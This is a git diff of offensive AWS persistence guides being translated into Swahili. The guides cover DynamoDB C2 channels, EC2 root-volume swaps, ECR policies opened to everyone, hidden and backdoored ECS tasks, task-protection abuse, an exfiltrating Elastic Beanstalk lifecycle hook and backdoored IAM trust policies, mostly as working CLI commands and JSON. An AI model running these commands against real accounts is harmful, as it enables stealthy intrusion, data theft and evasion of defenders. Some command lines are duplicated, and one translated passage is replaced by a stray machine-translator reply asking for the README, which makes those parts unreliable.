To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
Ili kudumisha uendelevu, mshambuliaji anaweza kuunda au kubadilisha vitu katika jedwali la DynamoDB, ambayo itachochea Lambda function hasidi. Hii inamruhusu mshambuliaji kutekeleza code ndani ya akaunti ya AWS bila kuingiliana moja kwa moja na Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
Mshambuliaji anaweza kutumia jedwali la DynamoDB kama **command and control (C2) channel** kwa kuunda vitu vinavyobeba amri na kutumia instances zilizoathiriwa au Lambda functions kuvichukua na kutekeleza amri hizi.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
Instances zilizoathiriwa au Lambda functions zinaweza kuangalia mara kwa mara jedwali la C2 kwa amri mpya, kuzitekeleza, na kwa hiari kuripoti matokeo kwenye jedwali. Hii inamruhusu mshambuliaji kudumisha uendelevu na udhibiti juu ya rasilimali zilizoathiriwa.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## EC2
For more information check:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,40 +12,40 @@ For more information check:
### Security Group Connection Tracking Persistence
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
Iwapo mlinzi atagundua kwamba **EC2 instance was compromised** huenda atajaribu **kutenganisha** **mtandao** wa mashine. Anaweza kufanya hivyo kwa kutumia wazi ya **Deny NACL** (lakini NACLs huathiri subnet nzima), au kwa **kubadilisha security group** ili kuto ruhusu **aina yoyote ya inbound au outbound** trafiki.
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
Ikiwa mshambuliaji alikuwa na **reverse shell originated from the machine**, hata kama SG imebadilishwa ili kuto ruhusu inbound au outbound traffic, **connection haitauawa kutokana na** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
Huduma hii inaruhusu **kupanga** **utengenezaji wa AMIs na snapshots** na hata **kuzishare na akaunti nyingine**.\
Mshambuliaji anaweza kusanidi **mchakato wa uzalishaji wa AMIs au snapshots** za picha zote au volumu zote **kila wiki** na **kuzishare na akaunti yake**.
### Scheduled Instances
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
Inawezekana kupanga instances ziendeshwe kila siku, kila wiki au hata kila mwezi. Mshambuliaji anaweza kuendesha mashine yenye hadhi za juu au ufikiaji wa kuvutia ambapo anaweza kupata ufikiaji.
### Spot Fleet Request
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
Spot instances ni **gharama nafuu** kuliko instances za kawaida. Mshambuliaji anaweza kuanzisha **small spot fleet request for 5 year** (kwa mfano), na upangaji wa **automatic IP** na **user data** inayomtumia mshambuliaji taarifa **wanaporudi spot instance start** pamoja na **anwani ya IP**, na ikiwa imeambatana na **high privileged IAM role**.
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
Mshambuliaji anaweza kupata ufikiaji wa instances na kuziweka backdoor kwa njia zifuatazo:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring the **User Data**
- Kwa mfano, kutumia **rootkit** ya jadi
- Kuongeza **public SSH key** mpya (angalia [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Kuweka backdoor kwenye **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
- Kuweka backdoor kwenye AMI inayotumika
- Kuweka backdoor kwenye User Data
- Kuweka backdoor kwenye Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
Swap the root EBS volume of a running instance for one built from an attacker-controlled AMI or snapshot using `CreateReplaceRootVolumeTask`. The instance keeps its ENIs, IPs, and role, effectively booting into malicious code while appearing unchanged.
Badilisha root EBS volume ya instance inayotembea kwa ile iliyojengwa kutoka AMI au snapshot inayodhibitiwa na mshambuliaji kwa kutumia `CreateReplaceRootVolumeTask`. Instance inaendelea kuwa na ENIs, IPs, na role, ikianza kwa code yenye madhara huku ikionekana isiyobadilika.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
@@ -53,12 +53,10 @@ Swap the root EBS volume of a running instance for one built from an attacker-co
### VPN
Create a VPN so the attacker will be able to connect directly through i to the VPC.
Unda VPN ili mshambuliaji aweze kuunganishwa moja kwa moja na VPC.
### VPC Peering
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
Unda peering connection kati ya VPC ya mwathiriwa na VPC ya mshambuliaji ili aweze kufikia VPC ya mwathiriwa.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,13 +2,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
Abuse **ec2:CreateReplaceRootVolumeTask** to swap the root EBS volume of a running instance with one restored from an attacker-controlled AMI or snapshot. The instance is rebooted automatically and resumes with the attacker-controlled root filesystem while preserving ENIs, private/public IPs, attached non-root volumes, and the instance metadata/IAM role.
Tumia vibaya **ec2:CreateReplaceRootVolumeTask** kubadilisha volume ya mzizi ya EBS ya instance inayotumika na ile iliyorejeshwa kutoka kwa AMI au snapshot inayodhibitiwa na mshambuliaji. Instance itareboot kwa otomatiki na itaendelea kwa filesystem ya mzizi inayodhibitiwa na mshambuliaji huku ikihifadhi ENIs, private/public IPs, volumu zilizounganishwa zisizo za mzizi, na instance metadata/IAM role.
## Requirements
- Target instance is EBS-backed and running in the same region.
- Compatible AMI or snapshot: same architecture/virtualization/boot mode (and product codes, if any) as the target instance.
## Mahitaji
- Instance lengwa inategemea EBS na inafanya kazi katika eneo sawa.
- AMI au snapshot inayolingana: architecture/virtualization/boot mode sawa (na product codes, ikiwa zipo) na ile ya instance lengwa.
## Pre-checks
## Ukaguzi wa awali
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>
@@ -22,8 +22,7 @@ ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## Replace root from AMI (preferred)
## Badilisha root kutoka AMI (inayopendekezwa)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
@@ -32,18 +31,16 @@ TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
Alternative using a snapshot:
Mbadala kwa kutumia snapshot:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## Evidence / Verification
## Ushahidi / Uthibitisho
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
@@ -60,11 +57,11 @@ aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest
```
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
## Notes
- The API does not require you to manually stop the instance; EC2 orchestrates a reboot.
- By default, the replaced (old) root EBS volume is detached and left in the account (DeleteReplacedRootVolume=false). This can be used for rollback or must be deleted to avoid costs.
## Vidokezo
- API haihitaji kusitisha instance kwa mkono; EC2 huandaa reboot.
- Kwa chaguo-msingi, root EBS volume iliyobadilishwa (ya zamani) inatenganishwa na kuachwa kwenye akaunti (DeleteReplacedRootVolume=false). Hii inaweza kutumika kwa rollback au lazima ifutwe ili kuepuka gharama.
## Rollback / Cleanup
## Kurudisha / Usafishaji
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
@@ -75,5 +72,4 @@ aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## ECR
For more information check:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-ecr-enum.md
@@ -12,100 +12,91 @@ For more information check:
### Hidden Docker Image with Malicious Code
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
Mshambulizi anaweza **kupakia Docker image inayobeba malicious code** kwenye ECR repository na kuitumia kudumisha persistence katika target AWS account. Mshambulizi anaweza kisha kupeleka image yenye malicious kwa huduma mbalimbali ndani ya account, kama Amazon ECS au EKS, kwa njia ya kuficha.
### Repository Policy
Add a policy to a single repository granting yourself (or everybody) access to a repository:
Ongeza policy kwa repository moja ikikupa wewe (au kila mtu) access kwa repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
> Tambua kwamba ECR inahitaji watumiaji kuwa na **idhini** ya kuita API ya **`ecr:GetAuthorizationToken`** kupitia sera ya IAM **kabla ya wao kuweza kuthibitisha** kwenye registry na push au pull images yoyote kutoka kwenye Amazon ECR repository.
### Registry Policy & Cross-account Replication
### Sera ya Registry & Nakili Kati ya Akaunti
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
Inawezekana kunakili moja kwa moja registry katika akaunti ya nje kwa kusanidi cross-account replication, ambapo unahitaji **kuonyesha akaunti ya nje** unayotaka kunakili registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
First, you need to give the external account access over the registry with a **registry policy** like:
Kwanza, unahitaji kumpa akaunti ya nje ufikiaji wa registry kwa **sera ya registry** kama:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Then apply the replication config:
I don't have the README.md content or the replication config. Please paste the README.md text and the replication config you want applied. I will then translate the relevant English to Swahili, preserving all markdown/html tags, links, paths and code as you requested.
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (prefix backdoor for future repos)
Abuse ECR Repository Creation Templates to automatically backdoor any repository that ECR auto-creates under a controlled prefix (for example via Pull-Through Cache or Create-on-Push). This grants persistent unauthorized access to future repos without touching existing ones.
Tumia vibaya ECR Repository Creation Templates ili ku-backdoor kwa otomatiki repository yoyote ambayo ECR huunda kwa auto chini ya prefix iliyodhibitiwa (kwa mfano kupitia Pull-Through Cache au Create-on-Push). Hii inatoa ufikiaji wa kudumu usioidhinishwa kwa repos za baadaye bila kugusa zile zilizopo.
- Required perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
- Impact: Any new repository created under the targeted prefix automatically inherits an attacker-controlled repository policy (e.g., cross-account read/write), tag mutability, and scanning defaults.
- Ruhusa zinazohitajika: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (kama role maalum imeambatanishwa na template).
- Athari: Kila repository mpya inayoundwa chini ya prefix lengwa inarithi kwa otomatiki repository policy inayodhibitiwa na mshambuliaji (mfano, cross-account read/write), tag mutability, na scanning defaults.
<details>
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
```bash
# Region
REGION=us-east-1
@@ -113,23 +104,23 @@ REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
@@ -149,11 +140,6 @@ docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## ECS
For more information check:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-ecs-enum.md
@@ -13,20 +13,19 @@ For more information check:
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
> TODO: Jaribu
Mshambuliaji anaweza kuunda hidden periodic ECS task kwa kutumia Amazon EventBridge ili **schedule the execution of a malicious task periodically**. Kazi hii inaweza kufanya reconnaissance, exfiltrate data, au maintain persistence katika akaunti ya AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,74 +33,68 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
### Backdoor Container katika ECS Task Definition iliyopo
> [!NOTE]
> TODO: Test
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
> TODO: Jaribu
Mshambuliaji anaweza kuongeza **stealthy backdoor container** katika ECS task definition iliyopo ambayo inaendesha sambamba na containers halali. Backdoor container inaweza kutumika kwa persistence na kutekeleza shughuli za uharibu.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undocumented ECS Service
### Huduma ya ECS isiyoandikwa
> [!NOTE]
> TODO: Test
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
> TODO: Jaribu
Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayotekeleza task ya kibaya. Kwa kuweka idadi inayotarajiwa ya tasks kuwa ya chini kabisa na kuzima logging, inakuwa vigumu kwa wasimamizi kugundua huduma ya kibaya.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
Abuse ecs:UpdateTaskProtection to prevent service tasks from being stopped by scalein events and rolling deployments. By continuously extending protection, an attacker can keep a longlived task running (for C2 or data collection) even if defenders reduce desiredCount or push new task revisions.
Steps to reproduce in us-east-1:
Tumia kwa matumizi mabaya ecs:UpdateTaskProtection ili kuzuia service tasks kusimamishwa na scalein events na rolling deployments. Kwa kuendelea kuendeleza ulinzi, attacker anaweza kuweka task yenye uhai mrefu ikikimbia (kwa C2 au ukusanyaji wa data) hata kama defenders wanapunguza desiredCount au push new task revisions.
Hatua za kurudia katika us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
@@ -110,15 +103,15 @@ CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/nu
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
@@ -128,8 +121,8 @@ VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
@@ -153,8 +146,6 @@ aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-c
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
Impact: A protected task remains RUNNING despite desiredCount=0 and blocks replacements during new deployments, enabling stealthy longlived persistence within the ECS service.
Athari: protected task inabaki RUNNING licha ya desiredCount=0 na inazuia replacements wakati wa new deployments, ikiruhusu stealthy longlived persistence ndani ya huduma ya ECS.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,22 +4,18 @@
## EFS
For more information check:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
### Badilisha Resource Policy / Security Groups
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
Kwa kubadilisha **resource policy and/or security groups** unaweza kujaribu kudumisha ufikiaji wako kwenye file system.
### Create Access Point
### Tengeneza Access Point
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
Unaweza **create an access point** (ikiwa na root access kwa `/`) ambayo inaweza kupatikana kutoka kwa service ambapo umeweka **other persistence**, ili kudumisha privileged access kwenye file system.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Elastic Beanstalk
For more information check:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
@@ -12,23 +12,22 @@ For more information check:
### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
Ili kudumisha persistence ndani ya AWS account, inaweza kuanzishwa baadhi ya **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) ili mshambuliaji aweze kuifikia na kunyakua IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
Mshambuliaji anaweza backdoor the code inside the S3 repo ili kila mara itekeleze backdoor yake pamoja na the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
Badala ya kubadilisha the code kwenye version ya sasa, mshambuliaji anaweza ku-deploy version mpya iliyebackdoored ya application.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
Elastic Beanstalk hutoa lifecycle hooks zinazokuja kukuruhusu kuendesha custom scripts wakati wa instance provisioning na termination. Mshambuliaji anaweza **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,50 +4,44 @@
## IAM
For more information access:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### Common IAM Persistence
### Persistence ya kawaida ya IAM
- Create a user
- Add a controlled user to a privileged group
- Create access keys (of the new user or of all users)
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
- Disable MFA / Add you own MFA device
- Create a Role Chain Juggling situation (more on this below in STS persistence)
- Unda mtumiaji
- Ongeza mtumiaji unaodhibitiwa kwenye kundi lenye ruhusa za juu
- Tengeneza access keys (za mtumiaji mpya au za watumiaji wote)
- Toa ruhusa za ziada kwa watumiaji/kundi unaodhibitiwa (attached policies or inline policies)
- Zima MFA / Ongeza kifaa chako cha MFA
- Tengeneza hali ya Role Chain Juggling (more on this below in STS persistence)
### Backdoor Role Trust Policies
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
Unaweza backdoor trust policy ili uweze kuitumia (assume) kwa rasilimali ya nje inayodhibitiwa na wewe (au kwa kila mtu):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
"Version": "2012-10-17",
"Statement": [
